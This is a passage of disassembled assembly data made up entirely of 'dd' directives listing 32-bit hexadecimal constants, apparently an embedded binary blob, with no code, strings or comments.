0F0D01A9Eh, 547852FAh dd 7BCE2h, 95FEBE7Ch, 184472CEh, 14896200h, 2C06F319h dd 1CB028F4h, 0CD20009Dh, 96512D04h, 0E300D37Bh, 8E3C743Dh dd 64E2B4h, 0AD8832A6h, 23E65C1Ch, 0DCAFEE13h, 0A18B340Fh dd 127ACB79h, 360E2FCh, 6E59E716h, 0ED807BDFh, 62009DA3h dd 5066E9BAh, 0E88527A2h, 0B1D5004Fh, 0E05CEC19h, 0CB3D82C3h dd 5E2E12C4h, 22BBDC04h, 0F8472580h, 0EA1800AFh, 79CCB688h dd 1201C99Bh, 7313B708h dd 83F8559Eh, 8A3C00F2h, 1CD52F8Dh, 6B01EB68h, 6E1EB208h dd 79EC4EE1h, 5F2D9h, 0C91AC2FFh, 0F73956D0h, 74555Ch dd 22C89D41h, 90F4AD7Fh, 3B6900BCh, 960A06B5h, 0AC00E7D4h dd 14497735h, 0E12FDCh, 4A7634ADh, 3B7F3A5Ah, 69FC500h dd 79651E70h, 9EC21E36h, 6F14000Dh, 0E44FAA07h, 0F6F30E40h dd 5DF9059Ah, 0C1378F62h, 0F5177702h, 3BDD095h, 0B0245500h dd 68AB287Fh, 0F8AC2819h, 0FA2200ABh, 0E21FC62Ah, 0B004746Ch dd 0EC98570Bh, 0B4556DC0h, 749067h, 0E3877EB8h, 96933E4Fh dd 34134C00h, 5676AF10h, 8F530224h, 854178A0h, 8E843040h dd 0DA0B7A00h, 9F443C99h, 4894D4h, 904D37ADh, 0F61F6BDFh dd 4BC9C992h, 841B8099h, 46D9C6h, 3D119E4Ah, 8CD7C480h dd 0EC33A60Bh, 0FF8C006Bh, 0B0AAB9h, 3A90B4AEh, 0FE9C3B8Dh dd 4FF07A00h, 0E206A240h, 30BB0074h, 0FC13C4F3h, 380CB05Ah dd 0D1C68D8Eh, 7ECC00FEh, 0D07DEEC0h, 0D101E63Fh, 5F96544Dh dd 3EC440CFh, 0EA6500D4h, 0AF52E068h, 6A0015F6h, 978995C7h dd 902836D8h, 0D20E3CAAh, 1EC401A8h, 6EE08Ch, 4EDD681Ah dd 0CC0041DCh, 7A3BA8D9h, 1FD50F1Eh, 41954705h, 1D0B3D09h dd 738209Ah, 19986867h, 3D715B86h, 0FA50D040h, 49590276h dd 0F0C20E13h, 959298E0h, 46EE4F00h, 0E64CC357h, 0DDAB1DB8h dd 0F9E1C020h, 0BD73DEB3h, 2DCC1500h, 93858F0Fh, 0BCFD00EEh dd 0BF6CC747h, 0E500BA3Eh, 88C0F40Eh, 0D33920h, 0F2EA72C6h dd 1FD88C30h, 0FEAE3300h, 35B27A91h, 17B600EDh, 2EA0818Dh dd 0DFA098B9h, 330CE71h, 0F437C05Ah, 3CE51C2Ah, 4A085C29h dd 40F0435Bh, 0E723D983h, 0CC37D30Eh, 8550E0B0h, 2A70486h dd 6F5C1A29h, 75419Ah, 0D303E70Dh, 78C3013Dh, 7CBD9582h dd 0B7F4E8D1h, 0EA5E1700h, 8C285576h, 10A1007Eh, 298D73BBh dd 6F051DD3h, 0BDFD3FDAh, 91DCC7C0h, 0AE6D50CFh, 0BC250B59h dd 2F80C46Bh, 41D17982h, 0E47A38h, 8362CC68h, 0F84EE7h dd 2BC1BA81h, 42C615CDh, 36DFA400h, 1788CF8Ah, 28000FAh dd 0E4AB7411h, 0A0001445h, 0BA0C4B6Ah, 0AEE21Dh, 0EC77D857h dd 29548D82h, 0F4D98B00h, 26E32B48h, 168800E9h, 0ACB4FDD2h dd 0F9004A72h, 148C5217h, 31B36Ch, 5D9F3355h, 0AB78E565h dd 32188800h, 0A12198A7h, 9E4424D9h, 48C20038h, 94A0316Fh dd 0D51B871Eh, 0C1774F80h, 0E8BDF156h, 0CED0039Fh, 0B6555053h dd 4A0548BEh, 648228E7h, 2FADD580h, 377613B4h, 9A30C087h dd 0E60572D8h, 7EB778F8h, 944D04C0h, 4E75EAh, 2EFC5260h dd 0C34BA0F1h, 0F86E6200h, 48BBFD32h, 536D09C2h, 0D90039F5h dd 2BC8CC5Eh, 84DD3426h, 81F29F07h, 3CA67A83h, 3601BA11h dd 472C159Eh, 980BE03h, 60A10D87h, 0EE02678h, 0D0249AE4h dd 618C8E80h, 3A3EEFF0h, 0B0773BC0h, 9C37B988h, 68100CAh dd 0CFCF243h, 3E38A70Eh, 3A9E18C9h, 1424A140h, 303186ABh dd 3C4B2C14h, 3FC8FC41h, 3508CB9Ch, 462CEE82h, 32344CA4h dd 0DF4400F8h, 0AE00FB50h, 0E62C629Ch, 597C356h, 55354212h dd 504B800Eh, 5008C96h, 0B6A4AE32h, 9E94F98h, 0E59AD559h dd 0E013E001h, 0E780D0FDh, 432C1707h, 14B0FFDAh, 0ABAFD7h dd 0C195CED9h, 7EBEF9E4h, 80DF5C3Ch, 0A930BFEBh, 2E8CF3FFh dd 2BCB558h, 0EA732FA8h, 208E0DE0h, 0D117D200h, 34BCE6C0h dd 0F1D000C1h, 2192FDE1h, 8F072C0Ah, 0B2C755B5h, 7BF7CD80h dd 1C80080h, 0F28A2D3Ch, 200504Ch, 2F04E9D6h, 0BB2B6E7h dd 843F8E76h, 22994840h, 1E20414Ch, 0E8058C90h, 0CC458921h dd 68A0AAACh, 42DE8BEh, 20E9F8C2h, 7435E8Ch, 7D944B3h dd 0C5C90311h, 191FF4BEh, 9B60E638h, 8849C1E3h, 0F5F291B8h dd 8F8181EEh, 0E53FC99Dh, 0EF791180h, 0A57219D8h, 8DBF980h dd 0A30FC2C3h, 739B804Fh, 0F3E1BCh, 30CFDEFh, 913437D5h dd 82AD8C0Bh, 19B8992h, 4A629687h, 0C4B65BE4h, 8845AA10h dd 0B1006B3Ch, 9C3401C3h, 8781B2h, 0C824F69Dh, 82F5F2E4h dd 0A07B7218h, 0F206A38h, 0A4C3CF7Ch, 836F5787h, 1000E265h dd 0C99AE9AEh, 3DA5ACD1h, 0F6B3C6E4h, 0F2E1F9D6h, 0F0A0F5CCh dd 9D6308C7h, 0E0F1A829h, 3ADB3C5h, 386D470Eh, 5006E025h dd 87574A06h, 0D0F90178h, 0D43B858Ch, 0ADF081D3h, 0F2A6EE17h dd 0BE3E3889h, 92400A0h, 0E4A0CC46h, 95245B9Bh, 0AE02B857h dd 829EACB7h, 20C68EF4h, 0D433B685h, 868820A7h, 70A2C354h dd 8801EBB2h, 8080BA1Bh, 19F1106Fh, 0AC2AA4C2h, 1F90FC15h dd 0AAE9900h, 85FAD50Bh, 0DCA30317h, 9CD343B6h, 0EB03CB97h dd 5028E16Ah, 3825DCC5h, 878803Fh, 3A46C8D9h, 0E7866FAAh dd 8E17604h, 0B221DE60h, 0CB46F0h, 0FCED3B32h, 1E593A8Ah dd 6DA2A1C0h, 28720F5Ch, 4CA49963h, 0A9870011h, 103AA012h dd 0E912D739h, 8408422h, 0A1D2C30Eh, 4F4D4C29h, 60077A78h dd 5BEE39B2h, 0D000FAF7h, 3A32BC96h, 3A196037h, 1758EB28h dd 6F4DE00Ch, 0AF026CA9h, 0FC5A063Ch, 0AEDC808Fh, 0D4E85E59h dd 2A7CA8A0h, 0F69804ABh, 3D62099Fh, 440EAA9Eh, 10484C32h dd 0A73EC721h, 0CE5F0562h, 0D9006A93h, 5E82713Fh, 0E8E0C295h dd 64818A25h, 82A2FB72h, 83546C18h, 39B08457h, 0A946CF60h dd 11D16F23h, 0F7B300DCh, 90D7FE46h, 0ACA60060h, 380C8898h dd 0F45C8EDFh, 0A123004Ch, 0A677643Dh, 76E7EC6Fh, 396C18A2h dd 350E7092h, 2DBC48E5h, 8FDB4A9h, 0E11660ABh, 0FC745CDEh dd 9D007DB8h, 0B566500Ch, 2680C7C0h, 0D203F1h, 39A2843Ah dd 9E544B87h, 0EF602090h, 0BE326EB1h, 0BCA3D58h, 3A5FC400h dd 0CD9EAEBAh, 691CAB30h, 0F982D31h, 9D60C79Fh, 35F13F20h dd 0DCBC84F3h, 42869C9Fh, 308C3E6Dh, 9AC88F04h, 0A8A3B76Fh dd 7446A2C2h, 6B8AC103h, 0B025CC42h, 0D2A7B8h, 0B57DFD05h dd 62976728h, 0E2B9C50Eh, 0D65C20DDh, 58EA4DB8h, 0ED04A887h dd 0C1FE122Eh, 0EE45A0A4h, 35A9E320h, 8B0C28CEh, 98045494h dd 0CA21C0FFh, 65E235D1h, 0AA439200h, 0F6A5CDC2h, 579B24D4h dd 86A8078h, 0A4C16041h, 0E19AF218h, 0A8B30EE1h, 0FAE0C8h dd 7E846542h, 703A392Eh, 8500C7E4h, 0EE82CACDh, 17A60CD1h dd 0F19E381Ch, 8BF0F97Ch, 910C649h, 0C588106Ah, 4012638h dd 0E04C3D04h, 0E048E358h, 0F5ABE16h, 25E0C7C9h, 17ACDEBFh dd 2347A0A8h, 282C2A00h, 123E2742h, 0B0AF012Dh, 0A7A1876Eh dd 9F2C24D7h, 0E8DC4312h, 4124A401h, 3009D5A6h, 0E31D808h dd 3B8DD9A2h, 0E422B471h, 0B6092C33h, 33ED2100h, 4DEF4E44h dd 3D913D05h, 2C25E780h, 2A06E488h, 22FBA326h, 0A446CC20h dd 0CA350872h, 0F8C4AB0Ch, 35D5C640h, 6DFC51B3h, 72EAA00h dd 0BDB53A93h, 70BA0CF5h, 0A0B8C832h, 808AF23Bh, 5BCD9633h dd 3F6812E0h, 5E804F03h, 0C797DB55h, 2CE8410Eh, 31E4D830h dd 286F90F3h, 45F01BC0h, 27F8414Ah, 106E00A0h, 0CCE35041h dd 5488C076h, 3A9F4834h, 65C2121Fh, 0ECF27004h, 0BE260900h dd 0C8A9070Bh, 15F060C8h, 5C860640h, 5865F59Bh, 4A388099h dd 10CCBF47h, 259A0A1h, 1823F597h, 0B0A0A768h, 0DBDA4082h dd 10AC60DEh, 2E908h, 0F038A133h, 80909EBBh, 328FB081h dd 30E2F2FCh, 3A0AAB85h, 0A8CE9A41h, 9103B096h, 0BA0F67h dd 51182689h, 4C773512h, 580BB10Ah, 0E7008A14h, 227E80CEh dd 48407F18h, 4A82F42Eh dd 0C0139AFBh, 0B387E392h, 89B520h, 0A6D79798h, 0E07F5DF3h dd 19CAAA02h, 5205BEC6h, 3CA20E3Ch, 9EC4AECCh, 8044943Ah dd 2CB44F64h, 18DA652Ch, 29F3A940h, 0E773A48h, 3A90F786h dd 0F50938B3h, 19179A0Ch, 3410B5ECh, 0CB1DBE72h, 0A9FAD733h dd 8837E40Ch, 0DC943BC4h, 30A3B409h, 1135AA64h, 88B30CCFh dd 0C7C99EE0h, 0D0C0D835h, 0B6AB8159h, 0C4A60A9Dh, 28F08C08h dd 6D5F04ECh, 0C8F9C510h, 0BC540F04h, 5CE2C094h, 7CF69000h dd 0CBE951EDh, 1719026Eh, 9A961B55h, 83EB1468h, 0C1017188h dd 0CC6B9DC1h, 8068A0E5h, 40278239h, 8454250Eh, 98D30424h dd 440420FCh, 0E310249Bh, 0E020B132h, 0B86D4438h, 0E66E2014h dd 2C1E9D00h, 25147A4Dh, 0EDD11D2h, 45D10FA5h, 1CD9484h dd 5CC715A0h, 0AC40827Ch, 61087341h, 0EE2A0FBh, 0FACC200Ch dd 848E750Ch, 9445765Ch, 0C03F80A4h, 9C012613h, 4CE2100h dd 752FD503h, 47F72C7h, 4522235Dh, 1492408Ch, 7D2CFA67h dd 0F368124Ch, 8090249Dh, 0F9AE9B28h, 0BC4D102Eh, 8B6A0C82h dd 0A654539Fh, 8837085Ch, 847DF809h, 498A648h, 0F43508AFh dd 0FEC4DB0Ch, 35D7C440h, 46002523h, 0BB29B2B5h, 4D793A2Dh dd 0D81DC0F6h, 0EB0DC06Ch, 0EA5924D2h, 812CC44Ch, 0E9F640A2h dd 34022829h, 44EFF214h, 0F10054E4h, 8BA9DC7Ch, 0AAAC3E0Ch dd 66EF03BCh, 0BC4940E4h, 0A62E0004h, 76460F12h, 9C0C2D6Ch dd 498B4536h, 1B400019h, 3354D2C1h, 3A4D6124h, 75A90240h dd 81E16568h, 0EFB38388h, 0B4C88429h, 5C4A6D1Ch, 9F82B418h dd 80D00473h, 686138F0h, 90966042h, 843BCA25h, 10C0C894h dd 0A75BF2A9h, 47C70820h, 647118C2h, 0AA9C8098h, 381980D2h dd 470FAB06h, 21BD0Eh, 0B8FE607Ch, 75444DF4h, 1C125800h dd 3302DA5Dh, 4CD07DFh, 0A252F23Eh, 0F0C40FF7h, 0BB513Dh dd 31253C47h, 19F847Ch, 3060384Bh, 209C870Bh, 2D269907h dd 660992BAh, 60781Eh, 142671F2h, 8B670C91h, 0F8460400h dd 6D22118Fh, 0FAC92420h, 76F080F8h, 0CFAAE249h, 19D51030h dd 79A83904h, 3FEEF480h, 0C2223508h, 0AACCF407h, 51C36D8Fh dd 413103F6h, 0DD78FE46h, 0E89F30E3h, 739C3903h, 0A400ED80h dd 149E8B3Eh, 3930022h, 87865779h, 0BE89AC0Fh, 0BCC8FCCFh dd 0BB5B3A77h, 219F0F18h, 41DE036h, 76C23BD6h, 52ACA3E4h dd 0D3C0540h, 0C0B8E5E8h, 0FD63439h, 0E1AC6200h, 1C43E0DAh dd 4920610Eh, 0C499F659h, 9FF4C066h, 9E467900h, 68C96E17h dd 13C8F36Fh, 5B8D004Bh, 52B76402h, 853C7419h, 9307766Ch dd 867F676Eh, 0A5570440h, 4868F077h, 4C07209Eh, 4F1E41A1h dd 5D1F0CE0h, 38005483h, 31C9B26Dh, 2759859h, 57815F1Eh dd 97E05D14h, 85954F15h, 3828C061h, 784E7823h, 184AE95Fh dd 5D083E8Ch, 8363067Eh, 0F0967DB0h, 19B7313h, 9F4E38C9h dd 0FC723E6Ch, 530F1579h, 5E327883h, 56EF0E03h, 0C039F192h dd 7EBF6840h, 68B2F033h, 3C983959h, 0D2C30457h, 1000BAF2h dd 988B3AFFh, 0F9B950h, 5713304Eh, 0E1353732h, 88DA8A01h dd 0C11F7965h, 0C0E83081h, 81D850F0h, 0C34E5318h, 84064D0h dd 0E6E5666h, 0DFD1E2B6h, 10707E05h, 68012CE1h, 53CC412Ah dd 830C58B9h, 0C30C88D1h, 0E0522419h, 6CE2B323h, 60A05964h dd 30FAD844h, 0BE412D3Ah, 0E8CC6651h, 0C2874049h, 0FBCD8419h dd 53BE78A1h, 0A7584263h, 0EBFF91Dh, 7E8792FCh, 4DB00EE3h dd 4A0756AAh, 7FC07E1Eh, 0CC907C84h, 608522FDh, 8CE32825h dd 6374393Ch, 0C02E528h, 24386E3Fh, 379CE4B4h, 8BCCFDh dd 71A44C65h, 18A5CCE5h, 1953293Ch, 7BF079C9h, 0FB00FC92h dd 51A41EA6h, 71FCE432h, 0FF6406B2h, 191F86E3h, 34AA6750h dd 0B4988AE9h, 3F0158CAh, 0BCFE6223h, 0C88644Eh, 0E561A583h dd 8C50C54Eh, 20B721D0h, 0D8FE22B8h, 0B0CA8630h, 54F3C8EEh dd 2956C458h, 94F8B662h, 1E13E070h, 355C08C0h, 60480449h dd 639A4058h, 0AB29C1C2h, 7A8C9941h, 2EE46A14h, 3909748Dh dd 217C93E1h, 90326898h, 6D5810A6h, 6F4068C3h, 1D4284BFh dd 8899F9BCh, 53E08937h, 0F0640F67h, 0B70A6882h, 0E542402Ch dd 0CD02E050h, 910C912Fh, 8D8042B5h, 0C18995Ch, 8C4B50D2h dd 6A231661h, 14047FFEh, 0CC883563h, 4884E079h, 0AB21B0C9h dd 94D3C80Ah, 2EF0C340h, 12609264h, 32401EAAh, 69257B28h dd 42048073h, 9A848C99h, 0FF0601A7h, 0C33B28Eh, 4A857CECh dd 9BC708A8h, 80503564h, 99466CA3h, 4ED6140Ch, 0A46A128Ch dd 3DC89C3Fh, 0D9FB10F5h, 0A0276EB1h, 7C596CC8h, 781441C2h dd 0D89AA112h, 52A74C4h, 50AFBC77h, 34A83190h, 0E2B0A70Dh dd 0E3F55138h, 8189A849h, 0B490D968h, 0D8A44F27h, 0F5646648h dd 0A9375832h, 422C354Ch, 0D935DAFEh, 20F01B07h, 0A860CA4Fh dd 67583510h, 12832444h, 9A460F78h, 114D1091h, 2AC2DC51h dd 20C90C50h, 510EBC18h, 0D858C182h, 0F92F4D70h, 4984611h dd 0A3839C08h, 3B3B3A3Ch, 0E8C806A3h, 53873CA3h, 0F2B896B0h dd 0EF3CD8A8h, 863E5E7h, 80A36AF0h, 1C92269Eh, 5E8C931Ch dd 0D0D35F12h, 0D159E35Ch, 58E05091h, 1C6C0081h, 186F5FC0h dd 6E0A834Eh, 14984D15h, 55E05A51h, 5C30C11Bh, 0F197531Fh dd 81D918h, 7F58864Fh, 6D9F0710h, 0F06E8E02h, 5D9C5404h dd 82936703h, 74911452h, 9F582418h, 0D03B2511h, 13A087BBh dd 5C749A4Bh, 5E92610Ch, 30557814h, 4C315B18h, 59C25C91h dd 9A501A5Eh, 0F610440Ch, 2510083h, 15599B5Fh, 88A19253h dd 4A1C384Ch, 20C0D024h, 84570A47h, 3C203345h, 685E4846h dd 0FA31C130h, 7048A6E1h, 9F307378h, 9A3519BDh, 71F70356h dd 0BC430DFBh, 7DFFC0A7h, 3048CD42h, 7AF21ADCh, 29344038h dd 58DF56h, 34B8C93Dh, 28064A16h, 454E7F9Eh, 102101A1h dd 3D78974Ch, 0F0A42115h, 0A9DF08EDh, 700964D0h, 20AF80E7h dd 0D90C6388h, 0A3EEE14Fh, 165E218h, 90A02849h, 0D9866168h dd 0A7193167h, 0E81986D2h, 0BAE2598Fh, 0CC081011h, 2ACB051Eh dd 0EA4E4140h, 0AF41F848h, 3D2260B0h, 8A052661h, 21D193D0h dd 8CF49FE4h, 51DCD631h, 0C69E2AF9h, 9A9F2CC8h, 29BF8E48h dd 0D188D104h, 0C2D08B34h, 0C0A88853h, 6D18A891h, 18B72379h dd 30D115D2h, 69C269D8h, 29528663h, 9F50C403h, 4CFCA794h dd 574208A0h, 0B38C678Dh, 3112410Ah, 1845FD06h, 4C0AABCCh dd 32A5583Fh, 4A58610Ch, 58330F31h, 0D10DA53Bh, 0D430D29Fh dd 18DDBEDEh, 2A4C0594h, 1C9458E3h, 0FF7154CAh, 10A7A442h dd 64856D3Eh, 19953172h, 0C6B88819h, 0D3F7589Bh, 85C13A88h dd 2A313364h, 28351879h, 4228E1D1h, 84ECB842h, 3AA36A46h dd 84D228D4h, 9EA1B246h, 0D8210A4Ah, 0B6A8DA11h, 0C6884342h dd 106AE244h, 33A3591Ah, 0C00A4494h, 466A103Fh, 52113EA2h dd 42FA841Ah, 326CD961h, 846C485Ch, 60CA7E4Dh, 6909D220h dd 10828EFCh, 36E3FD60h, 40612304h, 654E84A0h, 0DF95D88h dd 0AA2F20E4h, 0A00C0858h, 83787C98h, 0B784E882h, 0E2391925h dd 0A0B471EBh, 21C9FC10h, 3C8CA240h, 14D06665h, 74E1B347h dd 999F5044h, 9091BBCh, 0B9F27BE1h, 145B4440h, 0A00AFFDCh dd 0CB20589h, 9C98F08Bh, 0B50C2361h, 4164D9BFh, 947234h dd 0B2EAFF6Ch, 566305F0h, 13E92D13h, 8AED0001h, 4081621Ah dd 5A8673D8h, 79508270h dd 68892AFCh, 167B4B8h, 0C9370378h, 0F0024057h, 0A1985A08h dd 76C8E700h, 8EAD09F9h, 0E6FA14B2h, 6E02E444h, 97A386FBh dd 610F2C60h, 0D3C0ED01h, 9F07A814h, 0D100C432h, 579188D0h dd 220063F0h, 0D57F0982h, 14AB485h, 0B5293AA0h, 8078D91Ah dd 0E3BA84D9h, 73F960Bh, 99611C7Dh, 0B26EB0F2h, 0E113372Eh dd 0EC007FBAh, 0CE929E4Ah, 9F75064Bh, 195832F1h, 7C96A622h dd 76AA2239h, 99BE9934h, 904DDC0Eh, 0BCE6390Ah, 7F0340F4h dd 770097A1h, 30B38E82h, 0F73DE2h, 0FE2E16E3h, 0E43BF9E7h dd 3814101Dh, 3CD11Dh, 0EA2AFBB7h, 0E8DE0E88h, 0A2D53EEBh dd 0E5E6F400h, 0E228F52Fh, 0FAEEA9F0h, 10F2220Eh, 28ED8CFDh dd 1510C321h, 0E9E0F53Fh, 0E200F026h, 0E7F42FFBh, 0FA6EBE5h dd 0E82E29D7h, 0F13A1380h, 0F9F018D5h, 2701E778h, 7DFDD1F3h dd 0B8957189h, 0ACAF0486h, 18C312DAh, 17B40525h, 0E6C8C17Ch dd 12184A8Fh, 0B845BF79h, 11C00C84h, 349075h, 54DAC5FBh dd 8A3C8F66h, 8E18B360h, 3EC1D61Ch, 590F9A26h, 48D8872Ah dd 5870AD1Dh, 0D23C42FEh, 0C1E8073h, 0BEF3FCA6h, 8C1F004Ah dd 5F53B1B3h, 82607A04h, 0C4852D90h, 1FDA3F56h, 967901FAh dd 0CDCB4FAAh, 0C7AF3058h, 0EC7D2700h, 0BB86F234h, 185C6040h dd 3921C51Dh, 143970DFh, 640F534h, 0FFA70EBh, 83201CD9h dd 7678BA2Fh, 0B1F8C029h, 8D59B08Bh, 0C4010946h, 9D7715FAh dd 83061E3Bh, 10857144h, 0C814DD03h, 690776Dh, 40F11768h dd 0C231E0EAh, 42CB68F7h, 8118F89Bh, 3B3D6C90h, 0C402461h dd 7C013C1Ah, 0B150BD71h, 81B97811h, 6983D451h, 2E048C4Ah dd 78CE2D0Fh, 0B580C1F6h, 42BE9E50h, 0B064A688h, 42F7DE00h dd 7949105Ch, 0E9C38988h, 0CC4AF9AFh, 113EF478h, 8F871019h dd 8309CF72h, 276A4819h, 48C23E28h, 5230AE64h, 3B2FB409h dd 0FA830300h, 0F6A84E88h, 5DCD0780h, 0B028D529h, 18E1A93Ch dd 0E6EE3F1Dh, 0D01E3E5Eh, 766E786Ch, 0F4385002h, 0E154C3E2h dd 0D2C1C710h, 120FED0h, 5ED4D5E5h, 4CA64F8Ch, 58398D44h dd 41B0249Ch, 449C80Ah, 0E8146561h, 0C4D4AF1h, 22F80800h dd 462842E2h, 6DE1674h, 8F887861h, 940E31FAh, 0E9A0B610h dd 8942E411h, 10320894h, 640804CAh, 95814846h, 0BEB3300Eh dd 8AEA5914h, 31C8A310h, 7809CC19h, 19104989h, 0E65EF108h dd 774270A3h, 9CB21026h, 427505DFh, 0C5C46167h, 8C9AE22Fh dd 4CDE5000h, 0E49034D6h, 0BD801881h, 24EA4509h, 918C4885h dd 91897D8Fh, 8B248812h, 8D918A48h, 97449422h, 12998996h dd 4F932490h, 169A8092h, 1DF3C6D9h, 64D8DF1Bh, 8B818CCCh dd 0D49187B8h, 0BA04346Fh, 9408BACAh, 0D10EBC4Ah, 0AE8047BBh dd 70D68A88h, 190F9B7Ch, 69D38172h, 0C3D18F14h, 0A331BBECh dd 0C309E3FEh, 80C1A1F6h, 5F48BA42h, 1563150Eh, 0F9D39C14h dd 0AED64001h, 88238274h, 946711E0h, 87FED748h, 9255FF04h dd 7714E38Ah, 0C3D31F00h, 34E115F6h, 4AF18183h, 252CE038h dd 0F2C010F3h, 35D11D8Fh, 9D8C68Ch, 18088AD7h, 77D55F04h dd 9AA60700h, 541AAF0h, 2A834BF2h, 79100504h, 80382B46h dd 0D6B5497Bh, 0F5421CCFh, 0E689CF04h, 6D807CCFh, 0D070B4Fh dd 95358204h, 0C3239C8Eh, 471A19E0h, 0A3344E0Ah, 9D45288Ah dd 10E470EAh, 0C93034C5h, 0E179288Fh, 4930CF99h, 1FC1DA80h dd 0D93C27D0h, 0DECC007Dh, 0E5E0D78Fh, 37D23C3Dh, 0D1F4EA00h dd 31F326FBh, 4B833Ah, 0E43BE1D5h, 139E5C7h, 26E82AFFh dd 0F3F770C8h, 1B16E6B0h, 2C01E474h, 0C1D5E221h, 0E1D3CF8Fh dd 0F9F4E81Ch, 2940C335h, 0FDE0F53Bh, 2A15F702h, 7C408E14h dd 0F034181Eh, 894A017Ch, 0E423E635h, 901CC2C7h, 0A4B8230h dd 2517E3EDh, 0E807611Ch, 0C77010E2h, 14F77520h, 60ED3F18h dd 0AADCFCD6h, 0A4D1EC2Fh, 23B37B07h, 70F23181h, 0BF131858h dd 172A4C4h, 0F27DD705h, 2C7017F9h, 0A0E5E6F7h, 1FD7E7C4h dd 0DCDD8979h, 38E3D47Dh, 138771CFh, 23DBD0B7h, 0E174D6F6h dd 402314A5h, 0DCDA8F83h, 0ECCEE9D4h, 0E8E9E8CCh, 0F820548Eh dd 0F8F23E3Dh, 70597BAFh, 89C05057h, 35D51C00h, 0C3D619DEh dd 0A58F1FF6h, 3A3CDCE0h, 0EC251609h, 0E5133481h, 0D00035E6h dd 0A4031217h, 0F26582E0h, 9880C4DCh, 13713FBh, 0EB8F25BFh dd 0D82D29F0h, 8E24E7F3h, 0A507A866h, 9889DD3Bh, 0F2B37C20h dd 0F03912E6h, 50EC1AFAh, 27B274B0h, 1791D56Bh, 7B895D1Ch dd 3C3000C2h, 9A2E4F6h, 0E1D4F915h, 48989655h, 0A92C58E0h dd 0FF210750h, 807C47D6h, 0E826FEC1h, 63E5E71Eh, 24E1EE06h dd 35182640h, 3AA200C0h, 2E16D1F1h, 1574ECE0h, 252C10C0h dd 1FE20E8Bh, 0B29EDEBh, 7007F221h, 0FC8749E9h, 13108267h dd 0F9EDA040h, 17103B63h, 0FD601226h, 58AC1822h, 88D229F5h dd 0EAD808AAh, 0F43F2A07h, 1239E243h, 0AB20FC30h, 0E3F5D445h dd 0A09426FEh, 0D0AC294Ah, 0F84AA9FEh, 0D6F93F0Fh, 30172E0Fh dd 135D4D4h, 63F1DC90h, 0A3220160h, 0E62FE81Dh, 0B8E5F2C8h dd 95B8ACCCh, 0FEEBB071h, 13E3075Ch, 12EC403Ah, 101FF725h dd 0D20132E9h, 28F53F14h, 0DC7F8061h, 0C9EB770h, 7B05F6D7h dd 36E7D5D2h, 3DC5C480h, 59B4B0EEh, 2EC4E425h, 0E80CD8E2h dd 1610E50Eh, 313A9F3Eh, 26E91025h, 13152897h, 81C42410h dd 0A6E82F1Ch, 0FD1FDC09h, 0E653E424h, 0C03B5950h, 2A8C4105h dd 0DA20C017h, 10983513h, 6826E537h, 0D0C03FC7h, 0B9F220FEh dd 90882520h, 3C43522Ch, 3C40C0E5h, 184CD1F5h, 58FA3034h dd 0FE810F3h, 15E0EC20h, 94D4B099h, 0D218C780h, 0C6375002h dd 7D0CFB70h, 0DD120E74h, 0C9168F22h, 362DE084h, 0C970E521h dd 18177CE2h, 0E0DE8Bh, 2D35F5C8h, 49F70125h, 0D47079FFh dd 0E0044BFEh, 1866130Ch, 1403F217h, 650001F0h, 7BF9E675h dd 5408E21Bh, 78BC4078h, 0ED1E0005h, 0E2699812h, 0DF0E4901h dd 809C1FBEh, 70470602h, 0F4F7CEFh, 780BE617h, 48F7E280h dd 157C1E75h, 1E81601h, 12E173B5h, 1DEF23D0h, 0E224B06h dd 0ED80996Fh, 0E6694332h, 71420507h, 738012EAh, 39470F13h dd 41011E16h, 652ED922h, 0F032D136h, 506E875h, 6E168B5h dd 4D120321h, 760EEF73h, 4380E6A3h, 761EDDFh, 7C061D98h dd 0D505C883h, 6800E90Fh, 742ABC14h, 21091E71h, 0FA7E7578h dd 74121EEFh, 60241873h, 765206F3h, 0E5F5F968h, 0A12246C0h dd 0A84047F4h, 14377814h, 0F079021Eh, 0F934F00h, 75975006h dd 4706EF70h, 7C07F0DFh, 67770321h, 247405EDh, 0C88106A2h dd 0B07D03D9h, 0F3165890h, 70FFE812h, 71782908h, 7E10A938h dd 1E78657Ch, 0E8144937h, 131C16C0h, 93E1DB5h, 0EF420F27h dd 0CDCE89Ch, 0E5167CF8h, 0F1032248h, 1C1E4703h, 0EB70E004h dd 1748324Fh, 7C4978E8h, 2F79D077h, 44BCC4A1h, 2D8C2080h dd 0C9034D9h, 7C90EB70h, 4306E30Fh, 311F8823h, 47744688h dd 0BCDF42DCh, 38D8D088h, 0BF00413Ch, 0E424420Bh, 9F08304h dd 1A80C48h, 0FD8112ECh, 0B04214CAh, 0D9F0A6EDh, 0E8191960h dd 0F3E2D02Fh, 86AB74C1h, 9D91A28h, 16C880E9h, 0A658A4ECh dd 0C66FFCDCh, 3024AC08h, 80F6EF12h, 747C1C40h, 24450ED9h dd 1444E56Fh, 14CAF41Eh, 2EF4278h, 1F23840h, 4FC87950h dd 131D737Ch, 307E4707h, 0F0AE80Eh, 1F0A076h, 0F6609978h dd 78D70485h, 330018EDh dd 32A2CA4Ah, 57E6C6h, 0DB42AAFAh, 2BEB7CF1h, 6600B2F0h dd 0ECE3BF5Dh, 303A831Ch, 6F30BAD6h, 0FC77F647h, 282F4B31h dd 1FFD72D4h, 2E397CD4h, 80DA8FB7h, 4D3E825Bh, 4A00F687h dd 0B0B38CD2h, 0F92D166h, 0AA561814h, 79203FACh, 0F140477h dd 0E120B80Ch, 0D418AEB9h, 52724910h, 0E3E24405h, 15C1E01h dd 5EAA58AFh, 3618C49h, 44FEC8DCh, 0D4024884h, 0BF5E2509h dd 7944C831h, 8C2F39EBh, 0FFDB380Eh, 846D1CA2h, 2CE1C99h dd 98AC930Dh, 3C03EC5Ah, 0E801C627h, 0CDED110Ah, 0A99C427Ch dd 36574600h, 7BB4A0ABh, 2FEE0A39h, 0B08DDD9h, 4820A58Eh dd 0A3AA731Fh, 1C591800h, 0CAABD415h, 0D2571D4Fh, 0A4370A6Ah dd 0D83308C0h, 0F4C67180h, 0C3A96D0Fh, 64EDFE50h, 8485148Ah dd 6B54210Bh, 0A6F51806h, 1C5E411Ch, 2E460D88h, 84B2D862h dd 80C30A10h, 2A305275h, 14EC18B1h, 26790C1Ch, 0DE8102FDh dd 6DB51700h, 0D8540D76h, 53BD3A7Dh, 4421C730h, 4A03B50Fh dd 5E060783h, 0A14B8AAAh, 8E20AFF0h, 4C47C5Bh, 74236A07h dd 5FF3C080h, 9E730CAh, 7C97666Fh, 1DD9AC20h, 460F0C16h dd 2C03B923h, 0C2CD0833h, 1625BF51h, 0C3D2BEE0h, 